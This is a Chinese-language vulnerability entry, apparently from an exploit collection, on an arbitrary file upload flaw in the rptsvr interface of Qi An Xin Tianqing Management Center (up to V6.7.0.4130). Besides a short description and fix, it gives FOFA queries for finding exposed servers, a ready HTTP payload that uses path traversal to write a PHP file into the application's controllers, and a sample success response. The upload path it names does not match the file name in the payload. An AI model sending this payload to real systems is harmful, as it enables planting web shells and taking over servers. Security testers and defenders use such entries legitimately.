漏洞名称
奇安信 天擎管理中心 rptsvr接口存在任意文件上传漏洞
影响版本
奇安信 天擎管理中心 <=V6.7.0.4130
漏洞描述
奇安信 天擎管理中心 <=V6.7.0.4130 版本的rptsvr接口存在任意文件上传漏洞,该漏洞的原因是天擎管理中心的 rptsvr 接口没有对上传文件的类型和路径进行有效的检查和过滤,导致攻击者可以通过构造特定的请求参数,将任意文件上传到服务器的任意位置。
该漏洞的修复方法是升级到最新版本的天擎系统,或者在服务器上禁用或删除 rptsvr 接口
FOFA语句
banner="QiAnXin web server" || banner="360 web server" || body="appid\":\"skylar6" || body="/task/index/detail?id={item.id}" || body="已过期或者未授权,购买请联系4008-136-360"
payload
POST /rptsvr/upload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36
Connection: close
Content-Length: 414
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.5
Content-Type: multipart/form-data;boundary=---------------------------55433477442814818502792421460
Upgrade-Insecure-Requests: 1-----------------------------55433477442814818502792421460
Content-Disposition: form-data; name="uploadfile"; filename="../../../application/api/controllers/TController2.php"
Content-Type: text/x-python<?php
phpinfo();
?>
-----------------------------55433477442814818502792421460
Content-Disposition: form-data; name="token"skylar_report
-----------------------------55433477442814818502792421460
成功回显
HTTP/1.1 200 OK
Date: Wed, 17 Jan 2024 02:06:50 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 42
Connection: close
Server: QiAnXin web server{"result":"success", "reason": "uploaded"}
上传地址http://xxxx/application/api/controllers/T.php